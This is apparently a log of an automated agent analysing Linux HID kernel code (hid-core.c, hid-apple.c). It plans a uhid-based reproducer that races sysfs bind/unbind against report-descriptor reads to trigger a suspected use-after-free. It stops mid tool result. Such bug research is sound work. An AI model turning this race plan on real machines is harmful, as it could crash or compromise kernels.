1374: * needs to be cleaned up or not at the end.
1375: */
1376: start = kmemdup(start, size, GFP_KERNEL);
1377: if (!start)
1378: return -ENOMEM;
1379: }
1380:
1381: device->rdesc = start;
1382: device->rsize = size;
1383:
1384: error = hid_parse_collections(device);
1385: if (error) {
1386: hid_close_report(device);
1387: return error;
1388: }
1389:
1390: return 0;
1391: }
SourceFile:drivers/hid/hid-core.c]
|
| 151/5 |
2026/05/19 10:16 |
llm |
strategy-refiner |
0m
Model:
Tokens:
input: 21478
output: 43
thoughts: 156
Thoughts: **Dynamic Report Descriptor Allocation in HID Drivers**
Okay, so I've been digging into `hid_open_report` and I've just had a realization – or rather, a confirmation of what I suspected. It seems that `hid_open_report` *always* allocates a fresh descriptor if the driver has a `report_fixup` function defined. Let me rephrase that: if `device->driver->report_fixup` is present, we *know* a new descriptor is going to be dynamically allocated.
Looking at that code snippet… the `report_fixup` function is called, presumably to modify the report descriptor. And then, *bam*, `kmemdup` is called twice! The original descriptor is copied, then potentially modified within the `report_fixup` call, *then* re-copied again into `device->rdesc`. So any driver implementing a `report_fixup` function gets this dynamic memory allocation for `device->rdesc`.
This certainly has implications for overall device initialization and resource management. We need to keep this in mind. Now, I'm curious what happens on the close path. I'm going to shift my focus and check how `hid_close_report` handles this.
|
| 152/5 |
2026/05/19 10:16 |
tool |
codesearch-definition-source |
0m
Args: map[ContextFile:drivers/hid/hid-core.c IncludeLines:true Name:hid_close_report]
Results: map[SourceCode: 707: /*
708: * Close report. This function returns the device
709: * state to the point prior to hid_open_report().
710: */
711: static void hid_close_report(struct hid_device *device)
712: {
713: unsigned i, j;
714:
715: for (i = 0; i < HID_REPORT_TYPES; i++) {
716: struct hid_report_enum *report_enum = device->report_enum + i;
717:
718: for (j = 0; j < HID_MAX_IDS; j++) {
719: struct hid_report *report = report_enum->report_id_hash[j];
720: if (report)
721: hid_free_report(report);
722: }
723: memset(report_enum, 0, sizeof(*report_enum));
724: INIT_LIST_HEAD(&report_enum->report_list);
725: }
726:
727: /*
728: * If the HID driver had a rdesc_fixup() callback, dev->rdesc
729: * will be allocated by hid-core and needs to be freed.
730: * Otherwise, it is either equal to dev_rdesc or bpf_rdesc, in
731: * which cases it'll be freed later on device removal or destroy.
732: */
733: if (device->rdesc != device->dev_rdesc && device->rdesc != device->bpf_rdesc)
734: kfree(device->rdesc);
735: device->rdesc = NULL;
736: device->rsize = 0;
737:
738: kfree(device->collection);
739: device->collection = NULL;
740: device->collection_size = 0;
741: device->maxcollection = 0;
742: device->maxapplication = 0;
743:
744: device->status &= ~HID_STAT_PARSED;
745: }
SourceFile:drivers/hid/hid-core.c]
|
| 153/5 |
2026/05/19 10:16 |
llm |
strategy-refiner |
0m
Model:
Tokens:
input: 22578
output: 41
thoughts: 304
Thoughts: **Analyzing a Potential Vulnerability**
Okay, so `hid_close_report` releases `device->rdesc` when it's *not* `dev_rdesc` or `bpf_rdesc`. That's a key detail! This means any HID driver that uses `report_fixup` could be vulnerable to this potential issue. The goal is to find a driver that meets these criteria *and* doesn't explicitly check if it's a USB device using `hid_is_usb`. This opens a potential race condition or use-after-free scenario.
Let's see… I remember `hid-apple` came up as a likely candidate. Let's revisit the `apple_probe` function.
```c
static int apple_probe(struct hid_device *hdev, const struct hid_device_id *id)
{
unsigned long quirks = id->driver_data;
struct apple_sc *asc;
int ret;
asc = devm_kzalloc(&hdev->dev, sizeof(*asc), GFP_KERNEL);
if (asc == NULL) {
hid_err(hdev, "can't alloc apple descriptor\n");
return -ENOMEM;
}
asc->hdev = hdev;
asc->quirks = quirks;
hid_set_drvdata(hdev, asc);
ret = hid_parse(hdev);
...
```
Alright, great. It doesn't appear to have a direct `hid_is_usb` check in `apple_probe`. That's good. Now, I need to check `apple_devices` in `hid-apple.c` to identify a valid vendor/product ID combination to target. I should be able to create a test case around these IDs to reproduce it. I am thinking the following should be helpful.
|
| 154/5 |
2026/05/19 10:16 |
tool |
codesearch-definition-source |
0m
Args: map[ContextFile:drivers/hid/hid-apple.c IncludeLines:true Name:apple_devices]
Results: map[SourceCode:1006: static const struct hid_device_id apple_devices[] = {
1007: { HID_USB_DEVICE(USB_VENDOR_ID_APPLE, USB_DEVICE_ID_APPLE_MIGHTYMOUSE),
1008: .driver_data = APPLE_MIGHTYMOUSE | APPLE_INVERT_HWHEEL },
1009:
1010: { HID_USB_DEVICE(USB_VENDOR_ID_APPLE, USB_DEVICE_ID_APPLE_FOUNTAIN_ANSI),
1011: .driver_data = APPLE_NUMLOCK_EMULATION | APPLE_HAS_FN },
1012: { HID_USB_DEVICE(USB_VENDOR_ID_APPLE, USB_DEVICE_ID_APPLE_FOUNTAIN_ISO),
1013: .driver_data = APPLE_NUMLOCK_EMULATION | APPLE_HAS_FN },
1014: { HID_USB_DEVICE(USB_VENDOR_ID_APPLE, USB_DEVICE_ID_APPLE_GEYSER_ANSI),
1015: .driver_data = APPLE_NUMLOCK_EMULATION | APPLE_HAS_FN },
1016: { HID_USB_DEVICE(USB_VENDOR_ID_APPLE, USB_DEVICE_ID_APPLE_GEYSER_ISO),
1017: .driver_data = APPLE_NUMLOCK_EMULATION | APPLE_HAS_FN },
1018: { HID_USB_DEVICE(USB_VENDOR_ID_APPLE, USB_DEVICE_ID_APPLE_GEYSER_JIS),
1019: .driver_data = APPLE_NUMLOCK_EMULATION | APPLE_HAS_FN },
1020: { HID_USB_DEVICE(USB_VENDOR_ID_APPLE, USB_DEVICE_ID_APPLE_GEYSER3_ANSI),
1021: .driver_data = APPLE_NUMLOCK_EMULATION | APPLE_HAS_FN },
1022: { HID_USB_DEVICE(USB_VENDOR_ID_APPLE, USB_DEVICE_ID_APPLE_GEYSER3_ISO),
1023: .driver_data = APPLE_NUMLOCK_EMULATION | APPLE_HAS_FN |
1024: APPLE_ISO_TILDE_QUIRK },
1025: { HID_USB_DEVICE(USB_VENDOR_ID_APPLE, USB_DEVICE_ID_APPLE_GEYSER3_JIS),
1026: .driver_data = APPLE_NUMLOCK_EMULATION | APPLE_HAS_FN |
1027: APPLE_RDESC_JIS },
1028: { HID_USB_DEVICE(USB_VENDOR_ID_APPLE, USB_DEVICE_ID_APPLE_GEYSER4_ANSI),
1029: .driver_data = APPLE_NUMLOCK_EMULATION | APPLE_HAS_FN },
1030: { HID_USB_DEVICE(USB_VENDOR_ID_APPLE, USB_DEVICE_ID_APPLE_GEYSER4_ISO),
1031: .driver_data = APPLE_NUMLOCK_EMULATION | APPLE_HAS_FN |
1032: APPLE_ISO_TILDE_QUIRK },
1033: { HID_USB_DEVICE(USB_VENDOR_ID_APPLE, USB_DEVICE_ID_APPLE_GEYSER4_JIS),
1034: .driver_data = APPLE_NUMLOCK_EMULATION | APPLE_HAS_FN |
1035: APPLE_RDESC_JIS },
1036: { HID_USB_DEVICE(USB_VENDOR_ID_APPLE, USB_DEVICE_ID_APPLE_ALU_MINI_ANSI),
1037: .driver_data = APPLE_HAS_FN },
1038: { HID_USB_DEVICE(USB_VENDOR_ID_APPLE, USB_DEVICE_ID_APPLE_ALU_MINI_ISO),
1039: .driver_data = APPLE_HAS_FN },
1040: { HID_USB_DEVICE(USB_VENDOR_ID_APPLE, USB_DEVICE_ID_APPLE_ALU_MINI_JIS),
1041: .driver_data = APPLE_HAS_FN },
1042: { HID_USB_DEVICE(USB_VENDOR_ID_APPLE, USB_DEVICE_ID_APPLE_ALU_ANSI),
1043: .driver_data = APPLE_HAS_FN },
1044: { HID_USB_DEVICE(USB_VENDOR_ID_APPLE, USB_DEVICE_ID_APPLE_ALU_ISO),
1045: .driver_data = APPLE_HAS_FN },
1046: { HID_USB_DEVICE(USB_VENDOR_ID_APPLE, USB_DEVICE_ID_APPLE_ALU_JIS),
1047: .driver_data = APPLE_HAS_FN },
1048: { HID_USB_DEVICE(USB_VENDOR_ID_APPLE, USB_DEVICE_ID_APPLE_GEYSER4_HF_ANSI),
1049: .driver_data = APPLE_NUMLOCK_EMULATION | APPLE_HAS_FN },
1050: { HID_USB_DEVICE(USB_VENDOR_ID_APPLE, USB_DEVICE_ID_APPLE_GEYSER4_HF_ISO),
1051: .driver_data = APPLE_NUMLOCK_EMULATION | APPLE_HAS_FN |
1052: APPLE_ISO_TILDE_QUIRK },
1053: { HID_USB_DEVICE(USB_VENDOR_ID_APPLE, USB_DEVICE_ID_APPLE_GEYSER4_HF_JIS),
1054: .driver_data = APPLE_NUMLOCK_EMULATION | APPLE_HAS_FN |
1055: APPLE_RDESC_JIS },
1056: { HID_USB_DEVICE(USB_VENDOR_ID_APPLE, USB_DEVICE_ID_APPLE_ALU_REVB_ANSI),
1057: .driver_data = APPLE_HAS_FN },
1058: { HID_BLUETOOTH_DEVICE(USB_VENDOR_ID_APPLE, USB_DEVICE_ID_APPLE_ALU_REVB_ANSI),
1059: .driver_data = APPLE_HAS_FN },
1060: { HID_USB_DEVICE(USB_VENDOR_ID_APPLE, USB_DEVICE_ID_APPLE_ALU_REVB_ISO),
1061: .driver_data = APPLE_HAS_FN },
1062: { HID_BLUETOOTH_DEVICE(USB_VENDOR_ID_APPLE, USB_DEVICE_ID_APPLE_ALU_REVB_ISO),
1063: .driver_data = APPLE_HAS_FN },
1064: { HID_USB_DEVICE(USB_VENDOR_ID_APPLE, USB_DEVICE_ID_APPLE_ALU_REVB_JIS),
1065: .driver_data = APPLE_HAS_FN },
1066: { HID_BLUETOOTH_DEVICE(USB_VENDOR_ID_APPLE, USB_DEVICE_ID_APPLE_ALU_WIRELESS_ANSI),
1067: .driver_data = APPLE_NUMLOCK_EMULATION | APPLE_HAS_FN },
1068: { HID_BLUETOOTH_DEVICE(USB_VENDOR_ID_APPLE, USB_DEVICE_ID_APPLE_ALU_WIRELESS_ISO),
1069: .driver_data = APPLE_NUMLOCK_EMULATION | APPLE_HAS_FN |
1070: APPLE_ISO_TILDE_QUIRK },
1071: { HID_BLUETOOTH_DEVICE(USB_VENDOR_ID_APPLE, USB_DEVICE_ID_APPLE_ALU_WIRELESS_2011_ISO),
1072: .driver_data = APPLE_NUMLOCK_EMULATION | APPLE_HAS_FN |
1073: APPLE_ISO_TILDE_QUIRK },
1074: { HID_BLUETOOTH_DEVICE(USB_VENDOR_ID_APPLE,
1075: USB_DEVICE_ID_APPLE_ALU_WIRELESS_2011_ANSI),
1076: .driver_data = APPLE_NUMLOCK_EMULATION | APPLE_HAS_FN },
1077: { HID_BLUETOOTH_DEVICE(USB_VENDOR_ID_APPLE,
1078: USB_DEVICE_ID_APPLE_ALU_WIRELESS_2011_JIS),
1079: .driver_data = APPLE_NUMLOCK_EMULATION | APPLE_HAS_FN },
1080: { HID_BLUETOOTH_DEVICE(USB_VENDOR_ID_APPLE, USB_DEVICE_ID_APPLE_ALU_WIRELESS_JIS),
1081: .driver_data = APPLE_NUMLOCK_EMULATION | APPLE_HAS_FN },
1082: { HID_USB_DEVICE(USB_VENDOR_ID_APPLE, USB_DEVICE_ID_APPLE_MAGIC_KEYBOARD_2015),
1083: .driver_data = APPLE_HAS_FN | APPLE_ISO_TILDE_QUIRK | APPLE_RDESC_BATTERY },
1084: { HID_BLUETOOTH_DEVICE(BT_VENDOR_ID_APPLE, USB_DEVICE_ID_APPLE_MAGIC_KEYBOARD_2015),
1085: .driver_data = APPLE_HAS_FN | APPLE_ISO_TILDE_QUIRK },
1086: { HID_USB_DEVICE(USB_VENDOR_ID_APPLE, USB_DEVICE_ID_APPLE_MAGIC_KEYBOARD_NUMPAD_2015),
1087: .driver_data = APPLE_HAS_FN | APPLE_ISO_TILDE_QUIRK | APPLE_RDESC_BATTERY },
1088: { HID_BLUETOOTH_DEVICE(BT_VENDOR_ID_APPLE, USB_DEVICE_ID_APPLE_MAGIC_KEYBOARD_NUMPAD_2015),
1089: .driver_data = APPLE_HAS_FN | APPLE_ISO_TILDE_QUIRK },
1090: { HID_USB_DEVICE(USB_VENDOR_ID_APPLE, USB_DEVICE_ID_APPLE_WELLSPRING_ANSI),
1091: .driver_data = APPLE_HAS_FN },
1092: { HID_USB_DEVICE(USB_VENDOR_ID_APPLE, USB_DEVICE_ID_APPLE_WELLSPRING_ISO),
1093: .driver_data = APPLE_HAS_FN | APPLE_ISO_TILDE_QUIRK },
1094: { HID_USB_DEVICE(USB_VENDOR_ID_APPLE, USB_DEVICE_ID_APPLE_WELLSPRING_JIS),
1095: .driver_data = APPLE_HAS_FN | APPLE_RDESC_JIS },
1096: { HID_USB_DEVICE(USB_VENDOR_ID_APPLE, USB_DEVICE_ID_APPLE_WELLSPRING2_ANSI),
1097: .driver_data = APPLE_HAS_FN },
1098: { HID_USB_DEVICE(USB_VENDOR_ID_APPLE, USB_DEVICE_ID_APPLE_WELLSPRING2_ISO),
1099: .driver_data = APPLE_HAS_FN | APPLE_ISO_TILDE_QUIRK },
1100: { HID_USB_DEVICE(USB_VENDOR_ID_APPLE, USB_DEVICE_ID_APPLE_WELLSPRING2_JIS),
1101: .driver_data = APPLE_HAS_FN | APPLE_RDESC_JIS },
1102: { HID_USB_DEVICE(USB_VENDOR_ID_APPLE, USB_DEVICE_ID_APPLE_WELLSPRING3_ANSI),
1103: .driver_data = APPLE_HAS_FN },
1104: { HID_USB_DEVICE(USB_VENDOR_ID_APPLE, USB_DEVICE_ID_APPLE_WELLSPRING3_ISO),
1105: .driver_data = APPLE_HAS_FN | APPLE_ISO_TILDE_QUIRK },
1106: { HID_USB_DEVICE(USB_VENDOR_ID_APPLE, USB_DEVICE_ID_APPLE_WELLSPRING3_JIS),
1107: .driver_data = APPLE_HAS_FN | APPLE_RDESC_JIS },
1108: { HID_USB_DEVICE(USB_VENDOR_ID_APPLE, USB_DEVICE_ID_APPLE_WELLSPRING4_ANSI),
1109: .driver_data = APPLE_HAS_FN },
1110: { HID_USB_DEVICE(USB_VENDOR_ID_APPLE, USB_DEVICE_ID_APPLE_WELLSPRING4_ISO),
1111: .driver_data = APPLE_HAS_FN | APPLE_ISO_TILDE_QUIRK },
1112: { HID_USB_DEVICE(USB_VENDOR_ID_APPLE, USB_DEVICE_ID_APPLE_WELLSPRING4_JIS),
1113: .driver_data = APPLE_HAS_FN | APPLE_RDESC_JIS },
1114: { HID_USB_DEVICE(USB_VENDOR_ID_APPLE, USB_DEVICE_ID_APPLE_WELLSPRING4A_ANSI),
1115: .driver_data = APPLE_HAS_FN },
1116: { HID_USB_DEVICE(USB_VENDOR_ID_APPLE, USB_DEVICE_ID_APPLE_WELLSPRING4A_ISO),
1117: .driver_data = APPLE_HAS_FN | APPLE_ISO_TILDE_QUIRK },
1118: { HID_USB_DEVICE(USB_VENDOR_ID_APPLE, USB_DEVICE_ID_APPLE_WELLSPRING4A_JIS),
1119: .driver_data = APPLE_HAS_FN | APPLE_RDESC_JIS },
1120: { HID_USB_DEVICE(USB_VENDOR_ID_APPLE, USB_DEVICE_ID_APPLE_WELLSPRING5_ANSI),
1121: .driver_data = APPLE_HAS_FN },
1122: { HID_USB_DEVICE(USB_VENDOR_ID_APPLE, USB_DEVICE_ID_APPLE_WELLSPRING5_ISO),
1123: .driver_data = APPLE_HAS_FN | APPLE_ISO_TILDE_QUIRK },
1124: { HID_USB_DEVICE(USB_VENDOR_ID_APPLE, USB_DEVICE_ID_APPLE_WELLSPRING5_JIS),
1125: .driver_data = APPLE_HAS_FN | APPLE_RDESC_JIS },
1126: { HID_USB_DEVICE(USB_VENDOR_ID_APPLE, USB_DEVICE_ID_APPLE_WELLSPRING6_ANSI),
1127: .driver_data = APPLE_HAS_FN },
1128: { HID_USB_DEVICE(USB_VENDOR_ID_APPLE, USB_DEVICE_ID_APPLE_WELLSPRING6_ISO),
1129: .driver_data = APPLE_HAS_FN | APPLE_ISO_TILDE_QUIRK },
1130: { HID_USB_DEVICE(USB_VENDOR_ID_APPLE, USB_DEVICE_ID_APPLE_WELLSPRING6_JIS),
1131: .driver_data = APPLE_HAS_FN | APPLE_RDESC_JIS },
1132: { HID_USB_DEVICE(USB_VENDOR_ID_APPLE, USB_DEVICE_ID_APPLE_WELLSPRING6A_ANSI),
1133: .driver_data = APPLE_HAS_FN },
1134: { HID_USB_DEVICE(USB_VENDOR_ID_APPLE, USB_DEVICE_ID_APPLE_WELLSPRING6A_ISO),
1135: .driver_data = APPLE_HAS_FN | APPLE_ISO_TILDE_QUIRK },
1136: { HID_USB_DEVICE(USB_VENDOR_ID_APPLE, USB_DEVICE_ID_APPLE_WELLSPRING6A_JIS),
1137: .driver_data = APPLE_HAS_FN | APPLE_RDESC_JIS },
1138: { HID_USB_DEVICE(USB_VENDOR_ID_APPLE, USB_DEVICE_ID_APPLE_WELLSPRING5A_ANSI),
1139: .driver_data = APPLE_HAS_FN },
1140: { HID_USB_DEVICE(USB_VENDOR_ID_APPLE, USB_DEVICE_ID_APPLE_WELLSPRING5A_ISO),
1141: .driver_data = APPLE_HAS_FN | APPLE_ISO_TILDE_QUIRK },
1142: { HID_USB_DEVICE(USB_VENDOR_ID_APPLE, USB_DEVICE_ID_APPLE_WELLSPRING5A_JIS),
1143: .driver_data = APPLE_HAS_FN | APPLE_RDESC_JIS },
1144: { HID_USB_DEVICE(USB_VENDOR_ID_APPLE, USB_DEVICE_ID_APPLE_WELLSPRING7_ANSI),
1145: .driver_data = APPLE_HAS_FN },
1146: { HID_USB_DEVICE(USB_VENDOR_ID_APPLE, USB_DEVICE_ID_APPLE_WELLSPRING7_ISO),
1147: .driver_data = APPLE_HAS_FN | APPLE_ISO_TILDE_QUIRK },
1148: { HID_USB_DEVICE(USB_VENDOR_ID_APPLE, USB_DEVICE_ID_APPLE_WELLSPRING7_JIS),
1149: .driver_data = APPLE_HAS_FN | APPLE_RDESC_JIS },
1150: { HID_USB_DEVICE(USB_VENDOR_ID_APPLE, USB_DEVICE_ID_APPLE_WELLSPRING7A_ANSI),
1151: .driver_data = APPLE_HAS_FN },
1152: { HID_USB_DEVICE(USB_VENDOR_ID_APPLE, USB_DEVICE_ID_APPLE_WELLSPRING7A_ISO),
1153: .driver_data = APPLE_HAS_FN | APPLE_ISO_TILDE_QUIRK },
1154: { HID_USB_DEVICE(USB_VENDOR_ID_APPLE, USB_DEVICE_ID_APPLE_WELLSPRING7A_JIS),
1155: .driver_data = APPLE_HAS_FN | APPLE_RDESC_JIS },
1156: { HID_USB_DEVICE(USB_VENDOR_ID_APPLE, USB_DEVICE_ID_APPLE_WELLSPRING8_ANSI),
1157: .driver_data = APPLE_HAS_FN },
1158: { HID_USB_DEVICE(USB_VENDOR_ID_APPLE, USB_DEVICE_ID_APPLE_WELLSPRING8_ISO),
1159: .driver_data = APPLE_HAS_FN | APPLE_ISO_TILDE_QUIRK },
1160: { HID_USB_DEVICE(USB_VENDOR_ID_APPLE, USB_DEVICE_ID_APPLE_WELLSPRING8_JIS),
1161: .driver_data = APPLE_HAS_FN | APPLE_RDESC_JIS },
1162: { HID_USB_DEVICE(USB_VENDOR_ID_APPLE, USB_DEVICE_ID_APPLE_WELLSPRING9_ANSI),
1163: .driver_data = APPLE_HAS_FN },
1164: { HID_USB_DEVICE(USB_VENDOR_ID_APPLE, USB_DEVICE_ID_APPLE_WELLSPRING9_ISO),
1165: .driver_data = APPLE_HAS_FN | APPLE_ISO_TILDE_QUIRK },
1166: { HID_USB_DEVICE(USB_VENDOR_ID_APPLE, USB_DEVICE_ID_APPLE_WELLSPRING9_JIS),
1167: .driver_data = APPLE_HAS_FN | APPLE_RDESC_JIS },
1168: { HID_USB_DEVICE(USB_VENDOR_ID_APPLE, USB_DEVICE_ID_APPLE_WELLSPRINGT2_J140K),
1169: .driver_data = APPLE_HAS_FN | APPLE_BACKLIGHT_CTL | APPLE_ISO_TILDE_QUIRK },
1170: { HID_USB_DEVICE(USB_VENDOR_ID_APPLE, USB_DEVICE_ID_APPLE_WELLSPRINGT2_J132),
1171: .driver_data = APPLE_HAS_FN | APPLE_BACKLIGHT_CTL | APPLE_ISO_TILDE_QUIRK |
1172: APPLE_DISABLE_FKEYS },
1173: { HID_USB_DEVICE(USB_VENDOR_ID_APPLE, USB_DEVICE_ID_APPLE_WELLSPRINGT2_J680),
1174: .driver_data = APPLE_HAS_FN | APPLE_BACKLIGHT_CTL | APPLE_ISO_TILDE_QUIRK |
1175: APPLE_DISABLE_FKEYS },
1176: { HID_USB_DEVICE(USB_VENDOR_ID_APPLE, USB_DEVICE_ID_APPLE_WELLSPRINGT2_J680_ALT),
1177: .driver_data = APPLE_HAS_FN | APPLE_BACKLIGHT_CTL | APPLE_ISO_TILDE_QUIRK |
1178: APPLE_DISABLE_FKEYS },
1179: { HID_USB_DEVICE(USB_VENDOR_ID_APPLE, USB_DEVICE_ID_APPLE_WELLSPRINGT2_J213),
1180: .driver_data = APPLE_HAS_FN | APPLE_BACKLIGHT_CTL | APPLE_ISO_TILDE_QUIRK |
1181: APPLE_DISABLE_FKEYS },
1182: { HID_USB_DEVICE(USB_VENDOR_ID_APPLE, USB_DEVICE_ID_APPLE_WELLSPRINGT2_J214K),
1183: .driver_data = APPLE_HAS_FN | APPLE_ISO_TILDE_QUIRK | APPLE_DISABLE_FKEYS },
1184: { HID_USB_DEVICE(USB_VENDOR_ID_APPLE, USB_DEVICE_ID_APPLE_WELLSPRINGT2_J223),
1185: .driver_data = APPLE_HAS_FN | APPLE_ISO_TILDE_QUIRK | APPLE_DISABLE_FKEYS },
1186: { HID_USB_DEVICE(USB_VENDOR_ID_APPLE, USB_DEVICE_ID_APPLE_WELLSPRINGT2_J230K),
1187: .driver_data = APPLE_HAS_FN | APPLE_ISO_TILDE_QUIRK },
1188: { HID_USB_DEVICE(USB_VENDOR_ID_APPLE, USB_DEVICE_ID_APPLE_WELLSPRINGT2_J152F),
1189: .driver_data = APPLE_HAS_FN | APPLE_ISO_TILDE_QUIRK | APPLE_DISABLE_FKEYS },
1190: { HID_BLUETOOTH_DEVICE(USB_VENDOR_ID_APPLE, USB_DEVICE_ID_APPLE_ALU_WIRELESS_2009_ANSI),
1191: .driver_data = APPLE_NUMLOCK_EMULATION | APPLE_HAS_FN },
1192: { HID_BLUETOOTH_DEVICE(USB_VENDOR_ID_APPLE, USB_DEVICE_ID_APPLE_ALU_WIRELESS_2009_ISO),
1193: .driver_data = APPLE_NUMLOCK_EMULATION | APPLE_HAS_FN |
1194: APPLE_ISO_TILDE_QUIRK },
1195: { HID_BLUETOOTH_DEVICE(USB_VENDOR_ID_APPLE, USB_DEVICE_ID_APPLE_ALU_WIRELESS_2009_JIS),
1196: .driver_data = APPLE_NUMLOCK_EMULATION | APPLE_HAS_FN },
1197: { HID_USB_DEVICE(USB_VENDOR_ID_APPLE, USB_DEVICE_ID_APPLE_FOUNTAIN_TP_ONLY),
1198: .driver_data = APPLE_NUMLOCK_EMULATION | APPLE_HAS_FN },
1199: { HID_USB_DEVICE(USB_VENDOR_ID_APPLE, USB_DEVICE_ID_APPLE_GEYSER1_TP_ONLY),
1200: .driver_data = APPLE_NUMLOCK_EMULATION | APPLE_HAS_FN },
1201: { HID_USB_DEVICE(USB_VENDOR_ID_APPLE, USB_DEVICE_ID_APPLE_MAGIC_KEYBOARD_2021),
1202: .driver_data = APPLE_HAS_FN | APPLE_ISO_TILDE_QUIRK | APPLE_RDESC_BATTERY },
1203: { HID_BLUETOOTH_DEVICE(BT_VENDOR_ID_APPLE, USB_DEVICE_ID_APPLE_MAGIC_KEYBOARD_2021),
1204: .driver_data = APPLE_HAS_FN | APPLE_ISO_TILDE_QUIRK },
1205: { HID_USB_DEVICE(USB_VENDOR_ID_APPLE, USB_DEVICE_ID_APPLE_MAGIC_KEYBOARD_FINGERPRINT_2021),
1206: .driver_data = APPLE_HAS_FN | APPLE_ISO_TILDE_QUIRK | APPLE_RDESC_BATTERY },
1207: { HID_BLUETOOTH_DEVICE(BT_VENDOR_ID_APPLE, USB_DEVICE_ID_APPLE_MAGIC_KEYBOARD_FINGERPRINT_2021),
1208: .driver_data = APPLE_HAS_FN | APPLE_ISO_TILDE_QUIRK },
1209: { HID_USB_DEVICE(USB_VENDOR_ID_APPLE, USB_DEVICE_ID_APPLE_MAGIC_KEYBOARD_NUMPAD_2021),
1210: .driver_data = APPLE_HAS_FN | APPLE_ISO_TILDE_QUIRK | APPLE_RDESC_BATTERY },
1211: { HID_BLUETOOTH_DEVICE(BT_VENDOR_ID_APPLE, USB_DEVICE_ID_APPLE_MAGIC_KEYBOARD_NUMPAD_2021),
1212: .driver_data = APPLE_HAS_FN | APPLE_ISO_TILDE_QUIRK },
1213: { HID_USB_DEVICE(USB_VENDOR_ID_APPLE, USB_DEVICE_ID_APPLE_MAGIC_KEYBOARD_2024),
1214: .driver_data = APPLE_HAS_FN | APPLE_ISO_TILDE_QUIRK | APPLE_RDESC_BATTERY },
1215: { HID_BLUETOOTH_DEVICE(BT_VENDOR_ID_APPLE, USB_DEVICE_ID_APPLE_MAGIC_KEYBOARD_2024),
1216: .driver_data = APPLE_HAS_FN | APPLE_ISO_TILDE_QUIRK },
1217: { HID_USB_DEVICE(USB_VENDOR_ID_APPLE, USB_DEVICE_ID_APPLE_MAGIC_KEYBOARD_FINGERPRINT_2024),
1218: .driver_data = APPLE_HAS_FN | APPLE_ISO_TILDE_QUIRK | APPLE_RDESC_BATTERY },
1219: { HID_BLUETOOTH_DEVICE(BT_VENDOR_ID_APPLE, USB_DEVICE_ID_APPLE_MAGIC_KEYBOARD_FINGERPRINT_2024),
1220: .driver_data = APPLE_HAS_FN | APPLE_ISO_TILDE_QUIRK },
1221: { HID_USB_DEVICE(USB_VENDOR_ID_APPLE, USB_DEVICE_ID_APPLE_MAGIC_KEYBOARD_NUMPAD_2024),
1222: .driver_data = APPLE_HAS_FN | APPLE_ISO_TILDE_QUIRK | APPLE_RDESC_BATTERY },
1223: { HID_BLUETOOTH_DEVICE(BT_VENDOR_ID_APPLE, USB_DEVICE_ID_APPLE_MAGIC_KEYBOARD_NUMPAD_2024),
1224: .driver_data = APPLE_HAS_FN | APPLE_ISO_TILDE_QUIRK },
1225: { HID_USB_DEVICE(USB_VENDOR_ID_APPLE, USB_DEVICE_ID_APPLE_TOUCHBAR_BACKLIGHT),
1226: .driver_data = APPLE_MAGIC_BACKLIGHT },
1227:
1228: { }
1229: };
SourceFile:drivers/hid/hid-apple.c]
|
| 155/5 |
2026/05/19 10:16 |
llm |
strategy-refiner |
0m
Model:
Tokens:
input: 30335
output: 28
thoughts: 151
Thoughts: **My Thought Process on Identifying Apple USB Device IDs**
Alright, so I need to configure this device. First things first: I know `USB_VENDOR_ID_APPLE` is `0x05ac`. That's a given. Now, I'm fairly certain `USB_DEVICE_ID_APPLE_MIGHTYMOUSE` is likely `0x0304` – but let's quickly verify that. Hmm, rather than chasing down specific device IDs, I can just leverage the `hid-apple` driver with `vendor = 0x05ac` and `product = 0x0304` directly. Or any other product ID from the Apple list, like, say, `0x0223` for `USB_DEVICE_ID_APPLE_WELLSPRING_ANSI`. Wait a second… I'm overthinking this. I don't have to *guess* at the product ID. I can simply search the codebase for `USB_DEVICE_ID_APPLE_MIGHTYMOUSE`! That'll give me the exact definition I need, right?
|
| 156/5 |
2026/05/19 10:16 |
tool |
grepper |
0m
Args: map[Expression:#define USB_DEVICE_ID_APPLE_MIGHTYMOUSE]
Results: map[Output:drivers/hid/hid-ids.h-98-#define BT_VENDOR_ID_APPLE 0x004c
drivers/hid/hid-ids.h:99:#define USB_DEVICE_ID_APPLE_MIGHTYMOUSE 0x0304
drivers/hid/hid-ids.h-100-#define USB_DEVICE_ID_APPLE_MAGICMOUSE 0x030d
]
|
| 157/5 |
2026/05/19 10:16 |
llm |
strategy-refiner |
0m
Model:
Tokens:
input: 30857
output: 43
thoughts: 1530
Thoughts: **Analyzing the hid-apple Driver and Constructing a Reproducer**
Okay, so I've got the vendor and product IDs, `0x05ac` and `0x0304` respectively. The driver name in sysfs, according to my observations, is `apple`. Therefore, the bind and unbind paths I'll be targeting are `/sys/bus/hid/drivers/apple/bind` and `/sys/bus/hid/drivers/apple/unbind`. Now, let's just do a quick sanity check of the `hid-apple` probe function to ensure our assumptions are sound. *Scanning through the code...* Right, it allocates an `apple_sc` structure, sets driver data, and then calls `hid_parse`. Inside `hid_parse`, `hid_open_report` is called, and that in turn calls `report_fixup`. Since the `apple_driver` includes `report_fixup`, `hdev->rdesc` will be allocated. Then `hid_hw_start` is invoked. I think this should succeed, so it seems like we have a valid driver interaction and are ready to construct a reproducer.
Now, I'm going to write a reproducer using `hid-apple`. I'll start by defining the necessary includes, uhid, and setup the variables that I'll need. First I will establish a uhid device using the create event. I will then locate the device name, looking for a string related to the newly-created uhid device. After that, I will attempt to open the report descriptor, as I'll need a file descriptor. I will also have to create file descriptors for the bind and unbind paths to the driver. The bind and unbind paths are `/sys/bus/hid/drivers/apple/bind` and `/sys/bus/hid/drivers/apple/unbind`, which I will open in `O_WRONLY` mode. I will also use a read thread to attempt to read from the descriptor path and a bind thread. Both threads will run concurrently, so I will have to ensure that I set up CPU affinity, so that they run in parallel, using `PIN_TO_CPU`. I then will give them time to run, and then terminate them after a time has elapsed. Finally, I will close the various file descriptors and also destroy the uhid device I created.
*After looking over the code again* I think this should be a suitable testcase. Now to execute it and see what we get.
|
| 158/5 |
2026/05/19 10:16 |
tool |
codesearch-definition-source |
0m
Args: map[ContextFile:drivers/hid/hid-core.c IncludeLines:true Name:report_descriptor_read]
Results: map[SourceCode:2251: static ssize_t
2252: report_descriptor_read(struct file *filp, struct kobject *kobj,
2253: const struct bin_attribute *attr,
2254: char *buf, loff_t off, size_t count)
2255: {
2256: struct device *dev = kobj_to_dev(kobj);
2257: struct hid_device *hdev = to_hid_device(dev);
2258:
2259: if (off >= hdev->rsize)
2260: return 0;
2261:
2262: if (off + count > hdev->rsize)
2263: count = hdev->rsize - off;
2264:
